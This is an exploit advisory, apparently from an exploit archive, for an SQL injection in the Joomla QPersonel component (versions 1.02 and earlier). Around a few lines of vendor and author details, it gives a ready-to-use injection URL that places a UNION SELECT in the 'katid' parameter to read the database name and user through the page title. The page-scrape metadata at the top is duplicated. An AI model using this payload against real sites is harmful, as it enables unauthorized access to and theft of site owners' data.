45 lines
No EOL
1.6 KiB
Text
45 lines
No EOL
1.6 KiB
Text
# Exploit Title: Joomla Component QPersonel SQL Injection Vulnerability
|
|
# Date: 13.04.2010
|
|
# Author: Valentin
|
|
# Category: webapps/0day
|
|
# Version: XSS security fix from 31.12.2009, 1.02 and before
|
|
# Tested on: Debian Lenny, MySQL 5
|
|
# CVE :
|
|
# Code :
|
|
|
|
|
|
[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
|
|
|:: >> General Information
|
|
|:: Advisory/Exploit Title = Joomla Component QPersonel SQL Injection Vulnerability
|
|
|:: By = Valentin Hoebel
|
|
|:: Contact = valentin@xenuser.org
|
|
|::
|
|
|::
|
|
[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
|
|
|:: >> Product information
|
|
|:: Name = QPersonel
|
|
|:: Vendor = Q-PROJE
|
|
|:: Vendor Website = http://www.qproje.com/
|
|
|:: Affected Versions = XSS security fix from 31.12.2009, 1.02 and before
|
|
|::
|
|
|::
|
|
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
|
|
|:: >> #1 Vulnerability
|
|
|:: Type = SQL Injection
|
|
|:: Vulnerable File(s) = qpersonel.php
|
|
|:: Vulnerable Parameter(s) = katid
|
|
|:: Example URL = index.php?option=com_qpersonel&task=qpListele&katid=XX+AND+1=2+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,concat(database(),user())--
|
|
|:: Selected information gets displayed within the title tag.
|
|
|::
|
|
|::
|
|
[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
|
|
|:: >> Additional Information
|
|
|:: Advisory Published = 13.04.2010
|
|
|::
|
|
|::
|
|
[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
|
|
|:: >> Misc
|
|
|:: Greetz && Thanks = inj3ct0r team, Exploit DB, hack0wn and ExpBase!
|
|
|::
|
|
|::
|
|
[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::] |